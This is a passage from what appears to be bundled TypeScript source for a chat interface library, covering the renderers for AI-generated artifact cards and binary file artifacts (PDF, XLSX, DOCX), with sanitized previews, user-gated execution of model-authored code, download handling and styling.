contextConfig().sanitizeHtml(cached.previewHtml)\n : `<div class=\"aparte-art-file__preview-empty\">Preview not available for ${escapeHtml(kind)} yet</div>`;\n return `\n <div class=\"segment segment-artifact-file\"\n data-segment-id=\"${escapeHtml(segment.id)}\"\n data-artifact-type=\"${escapeHtml(kind)}\"\n data-state=\"ready\">\n <div class=\"aparte-art-file__card\">\n <div class=\"aparte-art-file__icon\" data-kind=\"${escapeHtml(kind)}\">${escapeHtml(iconLabel)}</div>\n <div class=\"aparte-art-file__meta\">\n <div class=\"aparte-art-file__meta-name\" data-role=\"file-name\">${escapeHtml(cached.name)}</div>\n <div class=\"aparte-art-file__meta-sub\" data-role=\"file-sub\">${escapeHtml(formatBytes(cached.bytes))} · ${escapeHtml(kind.toUpperCase())}</div>\n </div>\n <div class=\"aparte-art-file__actions\">\n ${canRedownload ? '<button type=\"button\" class=\"aparte-art-file__btn aparte-art-file__btn--primary\" data-action=\"download\">Download</button>' : ''}\n </div>\n </div>\n <div class=\"aparte-art-file__body\">\n <div class=\"aparte-art-file__code-pane\" data-role=\"code-pane\" hidden>\n <pre><code class=\"language-js\"></code></pre>\n </div>\n <div class=\"aparte-art-file__preview-pane\" data-role=\"preview-pane\">${previewBody}</div>\n </div>\n </div>\n `;\n }\n\n const cleanContent = stripCodeFences(segment.content || '');\n const subText = isStreaming ? 'Generating…' : 'Rebuilding preview…';\n return `\n <div class=\"segment segment-artifact-file\"\n data-segment-id=\"${escapeHtml(segment.id)}\"\n data-artifact-type=\"${escapeHtml(kind)}\"\n data-state=\"${isStreaming ? 'streaming' : 'compiling'}\">\n <div class=\"aparte-art-file__card\">\n <div class=\"aparte-art-file__icon\" data-kind=\"${escapeHtml(kind)}\">${escapeHtml(iconLabel)}</div>\n <div class=\"aparte-art-file__meta\">\n <div class=\"aparte-art-file__meta-name\" data-role=\"file-name\">${escapeHtml(title)}</div>\n <div class=\"aparte-art-file__meta-sub\" data-role=\"file-sub\">${escapeHtml(subText)}</div>\n </div>\n <div class=\"aparte-art-file__actions\">\n ${canRedownload ? '<button type=\"button\" class=\"aparte-art-file__btn aparte-art-file__btn--primary\" data-action=\"download\" disabled>Download</button>' : ''}\n </div>\n </div>\n <div class=\"aparte-art-file__body\">\n <div class=\"aparte-art-file__code-pane\" data-role=\"code-pane\">\n <pre><code class=\"language-js\">${escapeHtml(cleanContent)}</code></pre>\n </div>\n <div class=\"aparte-art-file__preview-pane\" data-role=\"preview-pane\" hidden></div>\n </div>\n </div>\n `;\n}\n\nexport function setupBinaryFileArtifact(element: HTMLElement, segment: AparteArtifactSegment, kind: string): void {\n // Per-element click handler reads the live cache entry so the Download\n // button works regardless of whether the buffer came from a fresh run or\n // from the module cache (branch switch / re-mount).\n if (element.dataset['aparteInit'] !== 'true') {\n element.dataset['aparteInit'] = 'true';\n\n // A branch switch replaces this element with a fresh one (aparteInit\n // unset), so setup runs again for the same segment id. Drop the prior\n // element's listeners first — one live pair per segment id — otherwise\n // the detached element leaks (its handlers keep it referenced forever).\n _fileGenHandlers.get(segment.id)?.();\n const cleanup = (): void => {\n window.removeEventListener('aparte-file-gen-ready', onReady);\n window.removeEventListener('aparte-file-gen-error', onError);\n _fileGenHandlers.delete(segment.id);\n };\n\n const onReady = (event: Event): void => {\n const detail = (event as CustomEvent).detail as {\n segmentId: string;\n filename: string;\n bytes: number;\n mime: string;\n buffer: Uint8Array | ArrayBuffer;\n previewHtml: string | null;\n };\n if (!detail || detail.segmentId !== segment.id) return;\n cacheBinaryArtifact(segment.id, {\n buffer: detail.buffer,\n mime: detail.mime,\n name: detail.filename,\n bytes: detail.bytes,\n previewHtml: detail.previewHtml,\n });\n swapToPreview(element, detail, kind);\n cleanup(); // terminal — generation delivered\n };\n window.addEventListener('aparte-file-gen-ready', onReady);\n\n // Sandbox failed — show an inline error in the card so the user gets\n // feedback instead of an indefinite \"Running sandbox…\" spinner. The\n // model often emits buggy code (drawText with array, undefined font\n // refs, etc.) — we surface that rather than hide it.\n const onError = (event: Event): void => {\n const detail = (event as CustomEvent).detail as {\n segmentId: string;\n phase?: string;\n error?: string;\n };\n if (!detail || detail.segmentId !== segment.id) return;\n showSandboxError(element, detail.phase ?? 'exec', detail.error ?? 'Unknown error');\n cleanup(); // terminal — generation failed\n };\n window.addEventListener('aparte-file-gen-error', onError);\n // Evict (and clean up the listeners of) the oldest handler when at capacity,\n // so a never-terminating generation can't leak listeners without bound.\n if (_fileGenHandlers.size >= MAX_FILE_GEN_HANDLERS) {\n const oldest = _fileGenHandlers.keys().next().value;\n if (oldest !== undefined) _fileGenHandlers.get(oldest)?.();\n }\n _fileGenHandlers.set(segment.id, cleanup);\n\n element.addEventListener('click', (ev) => {\n const target = ev.target as HTMLElement;\n const action = target.closest<HTMLElement>('[data-action]')?.getAttribute('data-action');\n if (action !== 'download') return;\n const cached = _binaryArtifactCache.get(segment.id);\n if (!cached) return;\n const blob = new Blob([cached.buffer as BlobPart], { type: cached.mime });\n const url = URL.createObjectURL(blob);\n const a = document.createElement('a');\n a.href = url;\n a.download = cached.name;\n a.style.display = 'none';\n document.body.appendChild(a);\n a.click();\n document.body.removeChild(a);\n setTimeout(() => URL.revokeObjectURL(url), 1000);\n });\n }\n\n // ─── Rehydration : runs on EVERY setup() call. ──────────────────\n const currentState = element.getAttribute('data-state');\n if (segment.isStreaming || currentState === 'ready') return;\n\n // Cache hit (branch switch back, conversation toggle) → swap instantly,\n // no sandbox re-run.\n const cached = _binaryArtifactCache.get(segment.id);\n if (cached) {\n swapToPreview(\n element,\n { filename: cached.name, bytes: cached.bytes, previewHtml: cached.previewHtml },\n kind,\n );\n return;\n }\n\n // OPT-IN: re-running a persisted artifact's generation is not automatic.\n //\n // Everything below asks the host app to execute model-authored content — the\n // comment further down says so itself (\"kick off the sandbox\"). On a live\n // stream that follows a turn the user asked for. Here it follows nothing: it\n // runs from `setup()`, so merely RE-OPENING a saved conversation re-fires\n // whatever a prompt injection persuaded the model to emit, on every reload.\n //\n // This is ratified decision #8 applied to the sibling of the artifact preview:\n // that path was made gesture-gated 700 lines up in this same file, for exactly\n // this reason, and this one was left automatic. Core owns no sandbox and no\n // file generator, so it cannot honour the affordance end to end either — with\n // nothing listening the card simply stays at \"generating\".\n if (!contextConfig().getHostHandlers().artifactRehydrate) return;\n\n // Dedupe : if an artifact-ready was dispatched recently for this segment\n // (either by aparte-client's natural stream-end flow OR by a previous\n // rehydration), don't fire another one — the sandbox is in flight and\n // the file-gen-ready listener will catch the result soon. Without this\n // we'd hit \"Sandbox is busy with a previous execution\" errors.\n const lastAt = _lastDispatchAt.get(segment.id) ?? 0;\n if (Date.now() - lastAt < RE_DISPATCH_DEBOUNCE_MS) return;\n markThrottle(_lastDispatchAt, segment.id, Date.now());\n\n // First time we see this segment in the current page session : kick off\n // the sandbox via FileGenService. Date.now() in the messageId bypasses\n // its `${msgId}::${segId}` dedupe so the event always reaches us.\n const reloadMessageId = `__reload__${Date.now()}`;\n queueMicrotask(() => {\n window.dispatchEvent(new CustomEvent('aparte-artifact-ready', {\n detail: {\n messageId: reloadMessageId,\n segmentId: segment.id,\n mimeType: segment.mimeType,\n artifactType: segment.artifactType,\n title: segment.title,\n content: stripCodeFences(segment.content || ''),\n },\n }));\n });\n // Re-highlight the code (visible until the sandbox finishes).\n const wrapper = element.querySelector<HTMLElement>('[data-role=\"code-pane\"]');\n if (wrapper) {\n const cleanContent = stripCodeFences(segment.content || '');\n void contextConfig(element).highlightCode(cleanContent, 'js').then(html => {\n wrapper.innerHTML = html;\n }).catch(() => { /* best-effort: a failed highlight degrades silently */ });\n }\n}\n\nexport function updateBinaryFileArtifact(element: HTMLElement, segment: AparteArtifactSegment, isStreaming: boolean): void {\n const state = element.getAttribute('data-state');\n // Once we've swapped to preview we don't touch the body again.\n if (state === 'ready') return;\n\n const cleanContent = stripCodeFences(segment.content || '');\n // Live-update the streaming code via textContent (cheap), then schedule\n // a debounced syntax-highlight so colors appear progressively without\n // saturating the main thread.\n const codeEl = element.querySelector<HTMLElement>('[data-role=\"code-pane\"] code');\n if (codeEl) {\n codeEl.textContent = cleanContent;\n }\n if (isStreaming) {\n debounceHighlight(element, '[data-role=\"code-pane\"]', cleanContent, 'js', segment.id);\n }\n\n if (!isStreaming && state === 'streaming') {\n element.setAttribute('data-state', 'compiling');\n // Re-highlight once the code is final. The pane stays visible until\n // `aparte-file-gen-ready` fires and swapToPreview() flips it.\n const wrapper = element.querySelector<HTMLElement>('[data-role=\"code-pane\"]');\n if (wrapper) {\n void contextConfig(element).highlightCode(cleanContent, 'js').then(html => {\n wrapper.innerHTML = html;\n }).catch(() => { /* best-effort: a failed highlight degrades silently */ });\n }\n const sub = element.querySelector<HTMLElement>('[data-role=\"file-sub\"]');\n if (sub) sub.textContent = 'Running sandbox…';\n }\n}\n\nfunction swapToPreview(\n element: HTMLElement,\n detail: { filename: string; bytes: number; previewHtml: string | null },\n kind: string,\n): void {\n element.setAttribute('data-state', 'ready');\n\n // Replace the code pane with the file preview.\n const codePane = element.querySelector<HTMLElement>('[data-role=\"code-pane\"]');\n if (codePane) codePane.hidden = true;\n const preview = element.querySelector<HTMLElement>('[data-role=\"preview-pane\"]');\n if (preview) {\n // previewHtml comes from the app (e.g. SheetJS table for xlsx) and is built\n // from potentially untrusted file bytes, so route it through the sanitizer\n // like every other innerHTML in this file (renderMarkdown/highlightCode do).\n preview.innerHTML = detail.previewHtml\n ? contextConfig().sanitizeHtml(detail.previewHtml)\n : `<div class=\"aparte-art-file__preview-empty\">Preview not available for ${escapeHtml(kind)} yet</div>`;\n preview.hidden = false;\n }\n\n // Update the footer card to its \"ready\" state.\n const nameEl = element.querySelector<HTMLElement>('[data-role=\"file-name\"]');\n if (nameEl) nameEl.textContent = detail.filename;\n const sub = element.querySelector<HTMLElement>('[data-role=\"file-sub\"]');\n if (sub) sub.textContent = `${formatBytes(detail.bytes)} · ${kind.toUpperCase()}`;\n const dlBtn = element.querySelector<HTMLButtonElement>('[data-action=\"download\"]');\n if (dlBtn) dlBtn.disabled = false;\n}\n\nfunction formatBytes(n: number): string {\n if (n < 1024) return `${n} B`;\n if (n < 1024 * 1024) return `${(n / 1024).toFixed(1)} KB`;\n return `${(n / (1024 * 1024)).toFixed(2)} MB`;\n}\n\nfunction showSandboxError(element: HTMLElement, phase: string, errorMsg: string): void {\n // Don't clobber a successful preview — only flip to error if still\n // pre-ready (streaming/compiling).\n const state = element.getAttribute('data-state');\n if (state === 'ready') return;\n element.setAttribute('data-state', 'error');\n\n const sub = element.querySelector<HTMLElement>('[data-role=\"file-sub\"]');\n if (sub) sub.textContent = `Error (${phase})`;\n\n const body = element.querySelector<HTMLElement>('.aparte-art-file__body');\n if (body) {\n // Truncate gnarly stack traces — first line is usually the actionable bit.\n const short = (errorMsg.split('\\n')[0] ?? '').slice(0, 240);\n body.innerHTML = `\n <div class=\"aparte-art-file__error\">\n <div class=\"aparte-art-file__error-title\">The sandbox failed during generation.</div>\n <div class=\"aparte-art-file__error-msg\">${escapeHtml(short)}</div>\n <div class=\"aparte-art-file__error-hint\">Common cause: the model produced invalid code (undefined variable, wrong argument type). Retry the request — the model may produce different code.</div>\n </div>\n `;\n }\n}\n","/**\n * The artifact card: the inline Code/Preview panel a streamed artifact renders as.\n *\n * ~500 lines of one thing, half of it the `getStyles()` block, which is why it kept\n * `segment-renderers.ts` at 1900 lines while that file's own banners described it as a\n * renderer registry plus nine small renderers. It is that now.\n *\n * The card owns the previewable path. When a segment's kind is binary (pdf/xlsx/docx)\n * it DELEGATES to `./binary-file.ts` — which is why `BINARY_FILE_KINDS` lives\n * here despite the name: the card is what consults it to decide to hand over. A\n * call-site census settled that; grouping it as \"shared\" was the first draft's mistake.\n *\n * The preview frame is deliberately not built at render time. It is mounted only when\n * the user presses Preview (`mountPreviewFrame`), because a previewable artifact is\n * model-authored code and mounting it unasked executes it — ratified decision #8\n * applied to a tier-(c) affordance. The document it mounts comes from\n * `./preview-document.ts`, or from the consumer's own builder.\n */\nimport { escapeHtml, escapeAttr } from '../../../utils/escape.js';\nimport { contextConfig } from '../../../config/index.js';\nimport type { AparteArtifactSegment, AparteSegmentRenderer } from '../../../types/index.js';\nimport { deriveArtifactKind } from '../../../parsers/aparte-stream-parser.js';\nimport { stripCodeFences, labelForKind, debounceHighlight } from './shared.js';\nimport { PREVIEW_CSP, buildSafePreviewDocument } from './preview-document.js';\nimport {\n renderBinaryFileArtifact,\n setupBinaryFileArtifact,\n updateBinaryFileArtifact,\n} from './binary-file.js';\n\n\nconst PREVIEWABLE_KINDS: ReadonlySet<string> = new Set(['react', 'html', 'svg', 'js', 'css']);\n\n/** Binary file kinds — output of orchestrator's sandbox path. They are\n * code-only here (downloaded by FileGenService listener side-channel). */\nconst BINARY_FILE_KINDS: ReadonlySet<string> = new Set(['pdf', 'xlsx', 'docx']);\n\nexport const artifactRenderer: AparteSegmentRenderer<AparteArtifactSegment> = {\n type: 'artifact',\n render: (segment: AparteArtifactSegment) => {\n const kind = (segment.artifactType || 'unknown').toLowerCase();\n // Binary file kinds (xlsx/pdf/docx) follow a separate UX track : the\n // generated JS is implementation noise the user doesn't care about,\n // so we hide it. Streaming → terminal-like progress, then\n // `aparte-file-gen-ready` swaps to a file card with download + preview.\n if (BINARY_FILE_KINDS.has(kind)) {\n return renderBinaryFileArtifact(segment, kind);\n }\n const title = segment.title?.trim() || labelForKind(kind);\n const displayLang = languageForKind(kind);\n const isStreaming = !!segment.isStreaming;\n const previewable = PREVIEWABLE_KINDS.has(kind);\n const isBinary = BINARY_FILE_KINDS.has(kind);\n const cleanContent = stripCodeFences(segment.content || '');\n // The card ALWAYS opens on the code tab, and the preview frame is not built\n // here at all — it is mounted only when the user presses Preview\n // (`mountPreviewFrame`, called from the tab handler).\n //\n // It used to open on Preview for any artifact that was not streaming, i.e.\n // every render of a completed one — so reloading a persisted conversation\n // executed the model's JS with no gesture. Defaulting the tab is not enough\n // on its own either: a `display:none` iframe still loads and still runs\n // scripts, so the frame has to be ABSENT, not hidden.\n //\n // Ratified decision #8, applied to a tier-(c) affordance: content the app\n // did not produce does not get to act on its own.\n\n return `\n <div class=\"segment segment-artifact-card\"\n data-segment-id=\"${escapeHtml(segment.id)}\"\n data-artifact-type=\"${escapeHtml(kind)}\"\n data-streaming=\"${isStreaming ? 'true' : 'false'}\"\n data-tab=\"code\"\n data-previewable=\"${previewable ? 'true' : 'false'}\"\n data-binary=\"${isBinary ? 'true' : 'false'}\">\n <header class=\"aparte-art-card__header\">\n <div class=\"aparte-art-card__title-block\">\n <span class=\"aparte-art-card__kind\" data-kind=\"${escapeHtml(kind)}\">${escapeHtml(displayLang)}</span>\n <span class=\"aparte-art-card__title\">${escapeHtml(title)}</span>\n ${isStreaming ? '<span class=\"aparte-art-card__pulse\" aria-label=\"Streaming\"></span>' : ''}\n </div>\n <div class=\"aparte-art-card__actions\">\n <button type=\"button\" class=\"aparte-art-card__btn\" data-action=\"copy\" title=\"${escapeAttr(contextConfig().t('copy'))}\" aria-label=\"Copy\">\n ${contextConfig().getIcon('copy')}\n </button>\n <button type=\"button\" class=\"aparte-art-card__btn\" data-action=\"download\" title=\"Download\" aria-label=\"Download\" ${isStreaming ? 'disabled' : ''}>\n <svg width=\"14\" height=\"14\" viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"M8 2v9m0 0l-3-3m3 3l3-3M2 13h12\"/></svg>\n </button>\n </div>\n </header>\n <nav class=\"aparte-art-card__tabs\" role=\"tablist\">\n ${previewable ? `<button type=\"button\" role=\"tab\" data-tab-target=\"preview\" aria-selected=\"false\" ${isStreaming ? 'disabled' : ''}>Preview</button>` : ''}\n <button type=\"button\" role=\"tab\" data-tab-target=\"code\" aria-selected=\"true\">Code</button>\n </nav>\n <div class=\"aparte-art-card__body\">\n <div class=\"aparte-art-card__pane\" data-pane=\"code\">\n <div class=\"code-content-wrapper\">\n <pre><code class=\"language-${escapeHtml(displayLang)}\">${escapeHtml(cleanContent)}</code></pre>\n </div>\n </div>\n ${previewable ? `\n <div class=\"aparte-art-card__pane\" data-pane=\"preview\">\n <div class=\"aparte-art-card__pending\">Press Preview to run this artifact.</div>\n </div>\n ` : ''}\n </div>\n </div>\n `;\n },\n setup: (element: HTMLElement, segment: AparteArtifactSegment) => {\n latestSegment.set(element, segment);\n const kind = (segment.artifactType || '').toLowerCase();\n if (BINARY_FILE_KINDS.has(kind)) {\n setupBinaryFileArtifact(element, segment, kind);\n return;\n }\n // Async highlight on the code pane\n const wrapper = element.querySelector('.code-content-wrapper');\n if (wrapper) {\n const displayLang = languageForKind(kind);\n const cleanContent = stripCodeFences(segment.content || '');\n void contextConfig().highlightCode(cleanContent, displayLang).then(html => {\n wrapper.innerHTML = html;\n }).catch(() => { /* best-effort: a failed highlight degrades silently */ });\n }\n\n // Tab switching — and, for Preview, the one place the frame is created.\n element.querySelectorAll<HTMLButtonElement>('[data-tab-target]').forEach(btn => {\n btn.addEventListener('click', () => {\n const target = btn.getAttribute('data-tab-target');\n if (!target) return;\n if (target === 'preview') mountPreviewFrame(element, segment);\n element.setAttribute('data-tab', target);\n element.querySelectorAll<HTMLButtonElement>('[data-tab-target]').forEach(b => {\n b.setAttribute('aria-selected', b === btn ? 'true' : 'false');\n });\n });\n });\n\n // Copy\n const copyBtn = element.querySelector<HTMLButtonElement>('[data-action=\"copy\"]');\n if (copyBtn) {\n copyBtn.addEventListener('click', () => {\n // Late execution (user click) — resolve from the element.\n const code = stripCodeFences(segment.content || '');\n void navigator.clipboard.writeText(code).catch(() => { /* best-effort: a failed clipboard write degrades silently */ });\n const original = copyBtn.innerHTML;\n copyBtn.innerHTML = contextConfig(copyBtn).getIcon('check');\n copyBtn.setAttribute('title', contextConfig(copyBtn).t('copied'));\n setTimeout(() => {\n copyBtn.innerHTML = original;\n copyBtn.setAttribute('title', contextConfig(copyBtn).t('copy'));\n }, 1500);\n });\n }\n\n // Download — emits aparte-artifact-redownload for the host app to handle\n // (binary kinds are handled by FileGenService side-channel; for\n // previewable/text kinds we trigger a download from raw content).\n const dlBtn = element.querySelector<HTMLButtonElement>('[data-action=\"download\"]');\n if (dlBtn) {\n dlBtn.addEventListener('click', () => {\n if (dlBtn.disabled) return;\n const kind = (segment.artifactType || '').toLowerCase();\n const isBinary = BINARY_FILE_KINDS.has(kind);\n if (isBinary) {\n // Re-dispatch the artifact-ready event so FileGenService\n // re-runs the sandbox and downloads the file.\n element.dispatchEvent(new CustomEvent('aparte-artifact-redownload', {\n bubbles: true,\n composed: true,\n detail: {\n segmentId: segment.id,\n mimeType: segment.mimeType,\n artifactType: segment.artifactType,\n title: segment.title,\n content: stripCodeFences(segment.content || ''),\n },\n }));\n return;\n }\n downloadTextArtifact(segment);\n });\n }\n },\n update: (element: HTMLElement, segment: AparteArtifactSegment) => {\n // Keep the click handler's view of the artifact current, and throw away a\n // frame that is now showing stale content so the next press rebuilds it.\n const previous = latestSegment.get(element);\n latestSegment.set(element, segment);\n if (previous && previous.content !== segment.content) {\n element.querySelector('.aparte-art-card__pane[data-pane=\"preview\"] iframe')?.remove();\n }\n const isStreaming = !!segment.isStreaming;\n const kind = (segment.artifactType || '').toLowerCase();\n if (BINARY_FILE_KINDS.has(kind)) {\n updateBinaryFileArtifact(element, segment, isStreaming);\n return;\n }\n const wasStreaming = element.getAttribute('data-streaming') === 'true';\n const cleanContent = stripCodeFences(segment.content || '');\n\n // 1. Live-update the code pane during streaming\n const codeEl = element.querySelector('.code-content-wrapper code');\n if (codeEl) {\n codeEl.textContent = cleanContent;\n } else {\n const wrapper = element.querySelector('.code-content-wrapper');\n if (wrapper) {\n const displayLang = languageForKind(kind);\n wrapper.innerHTML = `<pre><code class=\"language-${escapeHtml(displayLang)}\">${escapeHtml(cleanContent)}</code></pre>`;\n }\n }\n // Debounced syntax-highlight during streaming so the user sees\n // colors progressively rather than only at stream-end.\n if (isStreaming) {\n const segId = element.getAttribute('data-segment-id') ?? segment.id;\n debounceHighlight(element, '.code-content-wrapper', cleanContent, languageForKind(kind), segId);\n }\n\n // 2. On stream-completion: highlight + build preview iframe + auto-switch\n if (wasStreaming && !isStreaming) {\n element.setAttribute('data-streaming', 'false');\n\n // Re-run syntax highlight now that content is final\n const wrapper = element.querySelector('.code-content-wrapper');\n if (wrapper) {\n const displayLang = languageForKind(kind);\n void contextConfig().highlightCode(cleanContent, displayLang).then(html => {\n wrapper.innerHTML = html;\n }).catch(() => { /* best-effort: a failed highlight degrades silently */ });\n }\n\n // Enable previously-disabled buttons (download, preview tab)\n element.querySelectorAll<HTMLButtonElement>('button[disabled]').forEach(b => {\n b.disabled = false;\n });\n\n // Nothing to build and nothing to switch: enabling the Preview button\n // above is the whole of it. The frame is mounted by the tab handler, on\n // a real user press — see the note at `initialTab`.\n }\n },\n getStyles: () => `\n .segment-artifact-card {\n display: flex; flex-direction: column;\n margin: 8px 0;\n border: 1px solid var(--aparte-border, rgba(0,0,0,0.12));\n border-radius: 12px;\n background: var(--aparte-surface, #fff);\n overflow: hidden;\n font: inherit;\n color: var(--aparte-text, inherit);\n }\n .aparte-art-card__header {\n display: flex; align-items: center; justify-content: space-between;\n padding: 8px 10px;\n border-bottom: 1px solid var(--aparte-border, rgba(0,0,0,0.08));\n background: var(--aparte-surface-2, rgba(0,0,0,0.02));\n min-height: 36px;\n }\n .aparte-art-card__title-block { display: flex; align-items: center; gap: 8px; min-width: 0; }\n .aparte-art-card__kind {\n font-size: 0.7rem; font-weight: 600;\n text-transform: uppercase; letter-spacing: 0.04em;\n padding: 2px 6px; border-radius: 4px;\n background: var(--aparte-surface, #fff);\n border: 1px solid var(--aparte-border, rgba(0,0,0,0.1));\n color: var(--aparte-text-muted, rgba(0,0,0,0.6));\n }\n .aparte-art-card__title {\n font-size: 0.85rem; font-weight: 500;\n overflow: hidden; text-overflow: ellipsis; white-space: nowrap;\n }\n .aparte-art-card__pulse {\n width: 8px; height: 8px; border-radius: 50%;\n background: var(--aparte-accent, #3b82f6);\n animation: aparte-art-card-pulse 1.2s ease-in-out infinite;\n }\n @keyframes aparte-art-card-pulse {\n 0%, 100% { opacity: 0.35; transform: scale(0.85); }\n 50% { opacity: 1; transform: scale(1.1); }\n }\n .aparte-art-card__actions { display: flex; gap: 4px; }\n .aparte-art-card__btn {\n display: inline-flex; align-items: center; justify-content: center;\n width: 28px; height: 28px;\n background: transparent;\n border: 1px solid transparent;\n border-radius: 6px;\n color: var(--aparte-text-muted, rgba(0,0,0,0.55));\n cursor: pointer;\n transition: background 0.12s, border-color 0.12s, color 0.12s;\n }\n .aparte-art-card__btn:hover:not(:disabled) {\n background: var(--aparte-surface-hover, rgba(0,0,0,0.04));\n border-color: var(--aparte-border, rgba(0,0,0,0.1));\n color: var(--aparte-text, inherit);\n }\n .aparte-art-card__btn:disabled { opacity: 0.4; cursor: not-allowed; }\n .aparte-art-card__tabs {\n display: flex; gap: 2px;\n padding: 4px 8px 0;\n border-bottom: 1px solid var(--aparte-border, rgba(0,0,0,0.08));\n background: var(--aparte-surface-2, rgba(0,0,0,0.02));\n }\n .aparte-art-card__tabs button {\n padding: 6px 12px;\n font-size: 0.78rem;\n background: transparent;\n border: 1px solid transparent;\n border-bottom: none;\n border-radius: 6px 6px 0 0;\n color: var(--aparte-text-muted, rgba(0,0,0,0.6));\n cursor: pointer;\n transition: background 0.12s, color 0.12s;\n }\n .aparte-art-card__tabs button[aria-selected=\"true\"] {\n background: var(--aparte-surface, #fff);\n border-color: var(--aparte-border, rgba(0,0,0,0.08));\n color: var(--aparte-text, inherit);\n font-weight: 500;\n }\n .aparte-art-card__tabs button:disabled { opacity: 0.4; cursor: not-allowed; }\n .aparte-art-card__body {\n position: relative;\n min-height: 80px;\n max-height: 600px;\n overflow: hidden;\n }\n .aparte-art-card__pane { display: none; height: 100%; }\n .segment-artifact-card[data-tab=\"code\"] .aparte-art-card__pane[data-pane=\"code\"] { display: block; }\n .segment-artifact-card[data-tab=\"preview\"] .aparte-art-card__pane[data-pane=\"preview\"] { display: block; }\n .aparte-art-card__pane[data-pane=\"code\"] {\n max-height: 600px; overflow: auto;\n }\n .aparte-art-card__pane[data-pane=\"code\"] pre {\n margin: 0; padding: 12px;\n font-size: 0.82rem;\n background: var(--aparte-code-bg, #fafafa);\n }\n .aparte-art-card__frame {\n display: block;\n width: 100%; height: 480px;\n border: 0;\n background: #fff;\n }\n .aparte-art-card__pending {\n display: flex; align-items: center; justify-content: center;\n height: 120px;\n color: var(--aparte-text-muted, rgba(0,0,0,0.5));\n font-size: 0.85rem;\n font-style: italic;\n }\n /* ── Binary file artifact (xlsx/pdf/docx) ──────────────────── */\n .segment-artifact-file {\n display: flex; flex-direction: column;\n margin: 8px 0;\n border: 1px solid var(--aparte-border, rgba(0,0,0,0.12));\n border-radius: 12px;\n background: var(--aparte-surface, #fff);\n overflow: hidden;\n color: var(--aparte-text, inherit);\n font: inherit;\n }\n .aparte-art-file__card {\n display: flex; align-items: center; gap: 12px;\n padding: 12px 14px;\n background: var(--aparte-surface-2, rgba(0,0,0,0.02));\n border-bottom: 1px solid var(--aparte-border, rgba(0,0,0,0.08));\n }\n .aparte-art-file__body {\n position: relative;\n }\n .aparte-art-file__code-pane {\n max-height: 360px; overflow: auto;\n background: var(--aparte-code-bg, #fafafa);\n }\n .aparte-art-file__code-pane pre {\n margin: 0; padding: 12px;\n font-size: 0.82rem;\n font-family: 'JetBrains Mono', 'Fira Code', Consolas, monospace;\n }\n .aparte-art-file__preview-pane {\n max-height: 460px;\n overflow: auto;\n background: #fff;\n /* Preview is a document view — force light scheme regardless of\n the app theme, with a dark text colour so cells stay readable. */\n color: #1f2937;\n }\n .aparte-art-file__icon {\n width: 40px; height: 40px;\n border-radius: 8px;\n display: flex; align-items: center; justify-content: center;\n background: linear-gradient(135deg, #1d6f42, #0f5132);\n color: #fff;\n font-weight: 700;\n font-size: 0.78rem;\n letter-spacing: 0.04em;\n flex-shrink: 0;\n }\n .aparte-art-file__icon[data-kind=\"pdf\"] { background: linear-gradient(135deg, #c0392b, #7d1f17); }\n .aparte-art-file__icon[data-kind=\"docx\"] { background: linear-gradient(135deg, #1e5288, #0f3060); }\n .aparte-art-file__meta { flex: 1 1 auto; min-width: 0; }\n .aparte-art-file__meta-name {\n font-weight: 600; font-size: 0.92rem;\n white-space: nowrap; overflow: hidden; text-overflow: ellipsis;\n }\n .aparte-art-file__meta-sub {\n font-size: 0.78rem;\n color: var(--aparte-text-muted, rgba(0,0,0,0.55));\n }\n .aparte-art-file__actions { display: flex; gap: 6px; flex-shrink: 0; }\n .aparte-art-file__btn {\n border: 1px solid var(--aparte-border, rgba(0,0,0,0.12));\n background: var(--aparte-surface, #fff);\n color: var(--aparte-text, inherit);\n padding: 6px 10px;\n border-radius: 6px;\n font-size: 0.8rem;\n cursor: pointer;\n transition: background 0.12s ease;\n }\n .aparte-art-file__btn:hover { background: var(--aparte-surface-2, rgba(0,0,0,0.05)); }\n .aparte-art-file__btn--primary {\n background: var(--aparte-primary, #6366f1);\n color: #fff;\n border-color: var(--aparte-primary, #6366f1);\n }\n .aparte-art-file__btn--primary:hover { filter: brightness(1.07); }\n /* Hide the download button until the sandbox has produced the buffer.\n Avoids confusing the user with a disabled-but-styled-primary button\n during streaming / compiling. */\n .segment-artifact-file:not([data-state=\"ready\"]) .aparte-art-file__btn[data-action=\"download\"] {\n display: none;\n }\n .aparte-art-file__preview-pane table {\n border-collapse: collapse;\n width: 100%;\n font-size: 0.82rem;\n font-family: inherit;\n }\n .aparte-art-file__preview-pane th,\n .aparte-art-file__preview-pane td {\n border: 1px solid rgba(0,0,0,0.10);\n padding: 6px 10px;\n text-align: left;\n white-space: nowrap;\n color: #1f2937;\n background: #fff;\n }\n .aparte-art-file__preview-pane tr:nth-child(odd) td { background: #f9fafb; }\n .aparte-art-file__preview-pane tr:first-child td {\n background: #f3f4f6;\n font-weight: 600;\n position: sticky; top: 0;\n color: #111827;\n }\n .aparte-art-file__preview-empty {\n padding: 20px; text-align: center;\n color: var(--aparte-text-muted, rgba(0,0,0,0.5));\n font-size: 0.85rem; font-style: italic;\n }\n .segment-artifact-file[data-state=\"error\"] .aparte-art-file__icon {\n background: linear-gradient(135deg, #c0392b, #7d1f17);\n }\n .aparte-art-file__error {\n padding: 16px 18px;\n background: rgba(239, 68, 68, 0.05);\n border-top: 1px solid rgba(239, 68, 68, 0.2);\n color: var(--aparte-text, inherit);\n }\n .aparte-art-file__error-title {\n font-weight: 600;\n font-size: 0.9rem;\n margin-bottom: 6px;\n color: #b91c1c;\n }\n .aparte-art-file__error-msg {\n font-family: 'JetBrains Mono', 'Fira Code', Consolas, monospace;\n font-size: 0.78rem;\n padding: 6px 10px;\n background: rgba(0,0,0,0.04);\n border-radius: 4px;\n margin-bottom: 8px;\n color: #7f1d1d;\n word-break: break-word;\n }\n .aparte-art-file__error-hint {\n font-size: 0.78rem;\n color: var(--aparte-text-muted, rgba(0,0,0,0.55));\n font-style: italic;\n }\n `,\n};\n\nfunction languageForKind(kind: string): string {\n if (kind === 'react') return 'jsx';\n if (kind === 'markdown') return 'md';\n if (kind === 'pdf' || kind === 'xlsx' || kind === 'docx') return 'js';\n return kind || 'text';\n}\n\nfunction downloadTextArtifact(segment: AparteArtifactSegment): void {\n const content = stripCodeFences(segment.content || '');\n const kind = (segment.artifactType || '').toLowerCase();\n const ext = ({\n react: 'jsx', html: 'html', svg: 'svg', js: 'js', css: 'css',\n json: 'json', markdown: 'md', csv: 'csv', text: 'txt',\n python: 'py', typescript: 'ts', bash: 'sh', sql: 'sql',\n } 